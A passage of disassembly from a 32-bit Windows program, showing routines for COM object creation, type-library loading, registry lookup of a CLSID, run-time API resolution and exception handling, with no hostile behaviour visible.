eax mov [ebp+var_4], 1 and [ebp+var_24], 0 jmp short loc_41C957 ; --------------------------------------------------------------------------- loc_41C950: ; CODE XREF: sub_41C87E+10Fj mov eax, [ebp+var_24] inc eax mov [ebp+var_24], eax loc_41C957: ; CODE XREF: sub_41C87E+D0j cmp [ebp+var_24], 8 jnb short loc_41C98F mov eax, [ebp+var_1C] push dword ptr [eax+0Ch] mov eax, [ebp+var_1C] push dword ptr [eax+8] mov eax, [ebp+var_1C] push dword ptr [eax+4] mov eax, [ebp+var_1C] push dword ptr [eax] push [ebp+var_1C] push offset a0x08x0x08x0x08 ; "0x%08x: 0x%08x 0x%08x 0x%08x 0x%08x" call sub_41BE16 add esp, 18h mov eax, [ebp+var_1C] add eax, 10h mov [ebp+var_1C], eax jmp short loc_41C950 ; --------------------------------------------------------------------------- loc_41C98F: ; CODE XREF: sub_41C87E+DDj or [ebp+var_4], 0FFFFFFFFh jmp short loc_41C9AB ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] push offset a___OpssBrokenB ; " ... opss, broken by SEH" call sub_41BE16 pop ecx or [ebp+var_4], 0FFFFFFFFh loc_41C9AB: ; CODE XREF: sub_41C87E+115j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41C87E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9BA proc near ; CODE XREF: sub_41365E+64p ; sub_41553D+249p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi push edi and [ebp+var_8], 0 mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [ecx+eax+1] push eax call sub_41BA4A pop ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] mov [ebp+var_8], eax mov ecx, [ebp+var_4] inc ecx mov esi, [ebp+arg_0] mov edi, [ebp+var_8] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_8] pop edi pop esi leave retn sub_41C9BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA0F proc near ; CODE XREF: sub_41CAA3+1Fp ; sub_41CF9E+40p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] and eax, 1 test eax, eax jnz short loc_41CA26 mov eax, 80004005h jmp short locret_41CAA1 ; --------------------------------------------------------------------------- loc_41CA26: ; CODE XREF: sub_41CA0F+Ej push [ebp+arg_0] call sub_416BE0 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41CA9C push 8 pop edx mov ecx, [ebp+var_4] call sub_419995 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_41CA5C mov eax, [ebp+arg_14] mov dword ptr [eax], 80004005h mov eax, 80004005h jmp short locret_41CAA1 ; --------------------------------------------------------------------------- loc_41CA5C: ; CODE XREF: sub_41CA0F+3Bj and [ebp+var_C], 0 push offset aDllgetclassobj ; "DllGetClassObject" push [ebp+var_8] call ds:dword_4246A8 ; GetProcAddress mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_41CA87 mov eax, [ebp+arg_14] mov dword ptr [eax], 80004005h mov eax, 80004005h jmp short locret_41CAA1 ; --------------------------------------------------------------------------- loc_41CA87: ; CODE XREF: sub_41CA0F+66j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_0] call [ebp+var_C] mov ecx, [ebp+arg_14] mov [ecx], eax xor eax, eax jmp short locret_41CAA1 ; --------------------------------------------------------------------------- loc_41CA9C: ; CODE XREF: sub_41CA0F+27j mov eax, 80004005h locret_41CAA1: ; CODE XREF: sub_41CA0F+15j ; sub_41CA0F+4Bj ... leave retn sub_41CA0F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAA3 proc near ; CODE XREF: sub_41CBF6+53p ; sub_41CE67+43p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 1Ch and [ebp+var_4], 0 push [ebp+arg_18] lea eax, [ebp+var_4] push eax push offset dword_4241A8 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_0] call sub_41CA0F add esp, 18h test eax, eax jl loc_41CBEF and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_14], 0 and [ebp+var_8], 0 lea eax, [ebp+var_8] push eax push offset dword_424198 push [ebp+arg_4] mov eax, [ebp+var_4] mov eax, [eax] push [ebp+var_4] call dword ptr [eax+0Ch] test eax, eax jl loc_41CB99 and [ebp+var_18], 0 jmp short loc_41CB0E ; --------------------------------------------------------------------------- loc_41CB07: ; CODE XREF: sub_41CAA3+E6j mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax loc_41CB0E: ; CODE XREF: sub_41CAA3+62j mov eax, [ebp+var_18] cmp eax, [ebp+arg_10] jnb short loc_41CB8E mov eax, [ebp+var_18] imul eax, 0Ch mov ecx, [ebp+arg_14] lea eax, [ecx+eax+4] push eax mov eax, [ebp+var_18] imul eax, 0Ch mov ecx, [ebp+arg_14] push dword ptr [ecx+eax] mov eax, [ebp+var_8] mov eax, [eax] push [ebp+var_8] call dword ptr [eax] mov ecx, [ebp+var_18] imul ecx, 0Ch mov edx, [ebp+arg_14] mov [edx+ecx+8], eax mov eax, [ebp+var_18] imul eax, 0Ch mov ecx, [ebp+arg_14] cmp dword ptr [ecx+eax+8], 0 jl short loc_41CB5D mov [ebp+var_C], 1 jmp short loc_41CB7A ; --------------------------------------------------------------------------- loc_41CB5D: ; CODE XREF: sub_41CAA3+B2j mov eax, [ebp+var_18] imul eax, 0Ch mov ecx, [ebp+arg_14] cmp dword ptr [ecx+eax+8], 80004002h jnz short loc_41CB76 mov [ebp+var_10], 1 jmp short loc_41CB7A ; --------------------------------------------------------------------------- loc_41CB76: ; CODE XREF: sub_41CAA3+CBj mov [ebp+var_14], 1 loc_41CB7A: ; CODE XREF: sub_41CAA3+B8j ; sub_41CAA3+D1j mov eax, [ebp+var_18] imul eax, 0Ch mov ecx, [ebp+arg_14] mov eax, [ecx+eax] mov [ebp+var_1C], eax jmp loc_41CB07 ; --------------------------------------------------------------------------- loc_41CB8E: ; CODE XREF: sub_41CAA3+71j mov eax, [ebp+var_8] mov eax, [eax] push [ebp+var_8] call dword ptr [eax+8] loc_41CB99: ; CODE XREF: sub_41CAA3+58j movzx eax, [ebp+var_14] test eax, eax jz short loc_41CBAC mov eax, [ebp+arg_18] mov dword ptr [eax], 80004005h jmp short loc_41CBE0 ; --------------------------------------------------------------------------- loc_41CBAC: ; CODE XREF: sub_41CAA3+FCj movzx eax, [ebp+var_C] test eax, eax jz short loc_41CBC7 movzx eax, [ebp+var_10] test eax, eax jz short loc_41CBC7 mov eax, [ebp+arg_18] mov dword ptr [eax], 80012h jmp short loc_41CBE0 ; --------------------------------------------------------------------------- loc_41CBC7: ; CODE XREF: sub_41CAA3+10Fj ; sub_41CAA3+117j movzx eax, [ebp+var_C] test eax, eax jz short loc_41CBD7 mov eax, [ebp+arg_18] and dword ptr [eax], 0 jmp short loc_41CBE0 ; --------------------------------------------------------------------------- loc_41CBD7: ; CODE XREF: sub_41CAA3+12Aj mov eax, [ebp+arg_18] mov dword ptr [eax], 80004002h loc_41CBE0: ; CODE XREF: sub_41CAA3+107j ; sub_41CAA3+122j ... mov eax, [ebp+var_4] mov eax, [eax] push [ebp+var_4] call dword ptr [eax+8] xor eax, eax jmp short locret_41CBF4 ; --------------------------------------------------------------------------- loc_41CBEF: ; CODE XREF: sub_41CAA3+29j mov eax, 80004005h locret_41CBF4: ; CODE XREF: sub_41CAA3+14Aj leave retn sub_41CAA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CBF6 proc near ; DATA XREF: _5:off_424390o var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421570 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 24h push ebx push esi push edi and [ebp+var_1C], 0 and [ebp+var_4], 0 and [ebp+var_2C], 0 xor eax, eax lea edi, [ebp+var_28] stosd stosd mov eax, [ebp+arg_C] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax lea eax, [ebp+var_2C] push eax push 1 push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41CAA3 add esp, 1Ch test eax, eax jl short loc_41CC78 mov eax, [ebp+arg_10] mov ecx, [ebp+var_28] mov [eax], ecx push 0FFFFFFFFh mov eax, [ebp+var_24] mov [ebp+var_38], eax lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_38] jmp loc_41CD05 ; --------------------------------------------------------------------------- loc_41CC78: ; CODE XREF: sub_41CBF6+5Dj mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_41CCB4 push [ebp+arg_0] call sub_41CD16 pop ecx mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_41CCB4 mov [ebp+arg_8], 1 push [ebp+var_1C] call ds:dword_424698 ; GetModuleHandleA test eax, eax jnz short loc_41CCB4 push 8 push 0 push [ebp+var_1C] call sub_41E170 loc_41CCB4: ; CODE XREF: sub_41CBF6+8Aj ; sub_41CBF6+9Cj ... and [ebp+var_20], 0 push offset dword_4215D4 push offset aCocreateinstan ; "CoCreateInstance" call sub_41D300 pop ecx pop ecx mov [ebp+var_20], eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_20] push 0FFFFFFFFh mov [ebp+var_3C], eax lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_3C] jmp short loc_41CD05 ; --------------------------------------------------------------------------- loc_41CCF3: ; DATA XREF: _4:00421578o mov eax, [ebp+var_1C] mov [ebp+var_34], eax push [ebp+var_34] call sub_41BACD pop ecx retn ; --------------------------------------------------------------------------- xor eax, eax loc_41CD05: ; CODE XREF: sub_41CBF6+7Dj ; sub_41CBF6+FBj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 14h sub_41CBF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CD16 proc near ; CODE XREF: sub_41CBF6+8Fp ; sub_41CE67+8Fp ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0041CD80 SIZE 0000007A BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421580 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 10h push ebx push esi push edi push offset dword_428FF8 call ds:dword_424644 ; RtlEnterCriticalSection and [ebp+var_4], 0 cmp ds:dword_429010, 0 jnz short loc_41CD69 push offset aAdvapi32_dll ; "ADVAPI32.DLL" push offset aRegqueryvaluea ; "RegQueryValueA" call sub_41D300 pop ecx pop ecx mov ds:dword_429010, eax loc_41CD69: ; CODE XREF: sub_41CD16+3Bj or [ebp+var_4], 0FFFFFFFFh call sub_41CD74 jmp short loc_41CD80 sub_41CD16 endp ; =============== S U B R O U T I N E ======================================= sub_41CD74 proc near ; CODE XREF: sub_41CD16+57p ; DATA XREF: _4:00421588o push offset dword_428FF8 call ds:dword_4246D4 ; RtlLeaveCriticalSection retn sub_41CD74 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41CD16 loc_41CD80: ; CODE XREF: sub_41CD16+5Cj push 401h call sub_41BA4A pop ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] mov [ebp+var_1C], eax mov [ebp+var_20], 400h mov ecx, [ebp+var_20] xor eax, eax mov edi, [ebp+var_1C] mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb push [ebp+arg_0] call sub_41CDFA pop ecx lea eax, [ebp+var_20] push eax push [ebp+var_1C] push offset dword_428EF8 push 80000000h call ds:dword_429010 test eax, eax jnz short loc_41CDDA mov eax, [ebp+var_1C] jmp short loc_41CDEB ; --------------------------------------------------------------------------- loc_41CDDA: ; CODE XREF: sub_41CD16+BDj mov eax, [ebp+var_1C] mov [ebp+var_28], eax push [ebp+var_28] call sub_41BACD pop ecx xor eax, eax loc_41CDEB: ; CODE XREF: sub_41CD16+C2j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_41CD16 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CDFA proc near ; CODE XREF: sub_41CD16+9Ep arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+0Fh] push eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+0Eh] push eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+0Dh] push eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+0Ch] push eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+0Bh] push eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+0Ah] push eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+9] push eax mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+8] push eax mov eax, [ebp+arg_0] movzx eax, word ptr [eax+6] push eax mov eax, [ebp+arg_0] movzx eax, word ptr [eax+4] push eax mov eax, [ebp+arg_0] push dword ptr [eax] push offset aClsid08x04x04x ; "CLSID\\{%08x-%04x-%04x-%02x%02x-%02x%02x"... push offset dword_428EF8 call ds:dword_424754 ; wsprintfA add esp, 34h pop ebp retn sub_41CDFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CE67 proc near ; DATA XREF: _5:00424398o var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421590 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 24h push ebx push esi push edi and [ebp+var_1C], 0 and [ebp+var_4], 0 lea eax, [ebp+var_2C] push eax push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41CAA3 add esp, 1Ch test eax, eax jl short loc_41CED1 push 0FFFFFFFFh mov eax, [ebp+var_2C] mov [ebp+var_38], eax lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_38] jmp loc_41CF8D ; --------------------------------------------------------------------------- loc_41CED1: ; CODE XREF: sub_41CE67+4Dj and [ebp+var_20], 0 push offset dword_4215D4 push offset aCocreateinst_0 ; "CoCreateInstanceEx" call sub_41D300 pop ecx pop ecx mov [ebp+var_20], eax mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_41CF25 push [ebp+arg_0] call sub_41CD16 pop ecx mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_41CF25 mov [ebp+arg_8], 1 push [ebp+var_1C] call ds:dword_424698 ; GetModuleHandleA test eax, eax jnz short loc_41CF25 push 8 push 0 push [ebp+var_1C] call sub_41E170 loc_41CF25: ; CODE XREF: sub_41CE67+8Aj ; sub_41CE67+9Cj ... push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_20] mov [ebp+var_24], eax and [ebp+var_28], 0 jmp short loc_41CF4A ; --------------------------------------------------------------------------- loc_41CF43: ; CODE XREF: sub_41CE67+FAj mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax loc_41CF4A: ; CODE XREF: sub_41CE67+DAj mov eax, [ebp+var_28] cmp eax, [ebp+arg_10] jnb short loc_41CF63 mov eax, [ebp+var_28] imul eax, 0Ch mov ecx, [ebp+arg_14] mov eax, [ecx+eax] mov [ebp+var_30], eax jmp short loc_41CF43 ; --------------------------------------------------------------------------- loc_41CF63: ; CODE XREF: sub_41CE67+E9j push 0FFFFFFFFh mov eax, [ebp+var_24] mov [ebp+var_3C], eax lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_3C] jmp short loc_41CF8D ; --------------------------------------------------------------------------- loc_41CF7B: ; DATA XREF: _4:00421598o mov eax, [ebp+var_1C] mov [ebp+var_34], eax push [ebp+var_34] call sub_41BACD pop ecx retn ; --------------------------------------------------------------------------- xor eax, eax loc_41CF8D: ; CODE XREF: sub_41CE67+65j ; sub_41CE67+112j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 18h sub_41CE67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CF9E proc near ; DATA XREF: _5:004243A0o var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4215A0 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18h push ebx push esi push edi and [ebp+var_1C], 0 and [ebp+var_4], 0 lea eax, [ebp+var_24] push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41CA0F add esp, 18h test eax, eax jl short loc_41D005 push 0FFFFFFFFh mov eax, [ebp+var_24] mov [ebp+var_2C], eax lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_2C] jmp loc_41D092 ; --------------------------------------------------------------------------- loc_41D005: ; CODE XREF: sub_41CF9E+4Aj mov eax, [ebp+arg_4] and eax, 1 test eax, eax jz short loc_41D041 push [ebp+arg_0] call sub_41CD16 pop ecx mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_41D041 mov [ebp+arg_4], 1 push [ebp+var_1C] call ds:dword_424698 ; GetModuleHandleA test eax, eax jnz short loc_41D041 push 8 push 0 push [ebp+var_1C] call sub_41E170 loc_41D041: ; CODE XREF: sub_41CF9E+6Fj ; sub_41CF9E+81j ... and [ebp+var_20], 0 push offset dword_4215D4 push offset aCogetclassobje ; "CoGetClassObject" call sub_41D300 pop ecx pop ecx mov [ebp+var_20], eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_20] push 0FFFFFFFFh mov [ebp+var_30], eax lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_30] jmp short loc_41D092 ; --------------------------------------------------------------------------- loc_41D080: ; DATA XREF: _4:004215A8o mov eax, [ebp+var_1C] mov [ebp+var_28], eax push [ebp+var_28] call sub_41BACD pop ecx retn ; --------------------------------------------------------------------------- xor eax, eax loc_41D092: ; CODE XREF: sub_41CF9E+62j ; sub_41CF9E+E0j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 14h sub_41CF9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D0A3 proc near ; CODE XREF: sub_41D112+9Fp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_8], 80070057h and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push [ebp+arg_4] mov eax, [ebp+arg_0] mov eax, [eax] push [ebp+arg_0] call dword ptr [eax+18h] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jl short loc_41D10D and [ebp+var_C], 0 push offset dword_4215F0 push offset aGetrecordinfof ; "GetRecordInfoFromTypeInfo" call sub_41D300 pop ecx pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_41D106 push [ebp+arg_8] push [ebp+var_4] call [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_4] mov eax, [eax] push [ebp+var_4] call dword ptr [eax+8] jmp short loc_41D10D ; --------------------------------------------------------------------------- loc_41D106: ; CODE XREF: sub_41D0A3+48j mov [ebp+var_8], 80004005h loc_41D10D: ; CODE XREF: sub_41D0A3+2Aj ; sub_41D0A3+61j mov eax, [ebp+var_8] leave retn sub_41D0A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D112 proc near ; DATA XREF: _5:off_4243A8o var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 24h push edi mov [ebp+var_4], 80004005h push [ebp+arg_0] call sub_416BE0 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz loc_41D1DB and [ebp+var_10], 0 mov edi, [ebp+var_8] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_18], ecx push 208h call sub_41BA4A pop ecx mov [ebp+var_20], eax mov eax, [ebp+var_20] mov [ebp+var_14], eax mov ecx, 82h xor eax, eax mov edi, [ebp+var_14] rep stosd push 104h push [ebp+var_14] push 0FFFFFFFFh push [ebp+var_8] push 0 push 0 call ds:dword_4246F0 ; MultiByteToWideChar push offset dword_4215F0 push offset aLoadtypelib ; "LoadTypeLib" call sub_41D300 pop ecx pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push eax push [ebp+var_14] call [ebp+var_C] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jl short loc_41D1C7 push [ebp+arg_14] push [ebp+arg_10] push [ebp+var_10] call sub_41D0A3 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+var_10] mov eax, [eax] push [ebp+var_10] call dword ptr [eax+8] loc_41D1C7: ; CODE XREF: sub_41D112+94j mov eax, [ebp+var_14] mov [ebp+var_24], eax push [ebp+var_24] call sub_41BACD pop ecx mov eax, [ebp+var_4] jmp short loc_41D215 ; --------------------------------------------------------------------------- loc_41D1DB: ; CODE XREF: sub_41D112+1Ej and [ebp+var_1C], 0 push offset dword_4215F0 push offset aGetrecordinf_0 ; "GetRecordInfoFromGuids" call sub_41D300 pop ecx pop ecx mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_41D210 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_1C] jmp short loc_41D215 ; --------------------------------------------------------------------------- loc_41D210: ; CODE XREF: sub_41D112+E5j mov eax, 80004005h loc_41D215: ; CODE XREF: sub_41D112+C7j ; sub_41D112+FCj pop edi leave retn 18h sub_41D112 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D21A proc near ; DATA XREF: _5:004243B0o var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_8], 80004005h push [ebp+arg_0] call sub_416BE0 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41D293 push 208h call sub_41BA4A pop ecx mov [ebp+var_18], eax mov eax, [ebp+var_18] mov [ebp+var_10], eax push 104h push [ebp+var_10] push 0FFFFFFFFh push [ebp+var_4] push 0 push 0 call ds:dword_4246F0 ; MultiByteToWideChar push offset dword_4215F0 push offset aLoadtypelib ; "LoadTypeLib" call sub_41D300 pop ecx pop ecx mov [ebp+var_C], eax push [ebp+arg_10] push [ebp+var_10] call [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] mov [ebp+var_1C], eax push [ebp+var_1C] call sub_41BACD pop ecx loc_41D293: ; CODE XREF: sub_41D21A+1Dj cmp [ebp+var_8], 0 jge short loc_41D2C2 push offset dword_4215F0 push offset aLoadregtypelib ; "LoadRegTypeLib" call sub_41D300 pop ecx pop ecx mov [ebp+var_14], eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call [ebp+var_14] mov [ebp+var_8], eax loc_41D2C2: ; CODE XREF: sub_41D21A+7Dj mov eax, [ebp+var_8] leave retn 14h sub_41D21A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D2C9 proc near ; CODE XREF: sub_41D300+Ap var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_4] call ds:dword_424698 ; GetModuleHandleA mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_41D2EC push [ebp+arg_4] call ds:dword_4246DC ; LoadLibraryA mov [ebp+var_8], eax loc_41D2EC: ; CODE XREF: sub_41D2C9+15j push [ebp+arg_0] push [ebp+var_8] call ds:dword_4246A8 ; GetProcAddress mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_41D2C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D300 proc near ; CODE XREF: sub_41922D+16p ; sub_41AB84+97p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push [ebp+arg_4] push [ebp+arg_0] call sub_41D2C9 pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41D32D push ds:off_4214F0 push 30h push ds:off_4214F4 call sub_41BB7C loc_41D32D: ; CODE XREF: sub_41D300+18j mov eax, [ebp+var_4] leave retn sub_41D300 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D332 proc near ; CODE XREF: sub_41D6FE+39p ; DATA XREF: _5:off_424220o arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jnz short loc_41D342 mov [ebp+arg_0], offset sub_41C317 loc_41D342: ; CODE XREF: sub_41D332+7j movzx eax, ds:byte_429030 test eax, eax jnz short loc_41D358 push [ebp+arg_0] call ds:dword_424710 ; SetUnhandledExceptionFilter jmp short loc_41D368 ; --------------------------------------------------------------------------- loc_41D358: ; CODE XREF: sub_41D332+19j push offset sub_41C317 call ds:dword_424710 ; SetUnhandledExceptionFilter mov eax, offset sub_41C317 loc_41D368: ; CODE XREF: sub_41D332+24j pop ebp retn 4 sub_41D332 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D36C proc near ; CODE XREF: sub_41D579+108p ; sub_41D579+15Ep var_18 = word ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h and [ebp+var_8], 0 mov eax, [ebp+arg_4] mov eax, [eax+18h] dec eax mov [ebp+var_4], eax loc_41D380: ; CODE XREF: sub_41D36C:loc_41D401j mov eax, [ebp+var_8] cmp eax, [ebp+var_4] jg short loc_41D406 mov eax, [ebp+var_8] add eax, [ebp+var_4] cdq sub eax, edx sar eax, 1 mov [ebp+var_10], eax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] add ecx, [eax+20h] mov eax, [ebp+var_10] mov eax, [ecx+eax*4] add eax, [ebp+arg_0] push eax push [ebp+arg_8] call sub_410F10 pop ecx pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_41D3EB 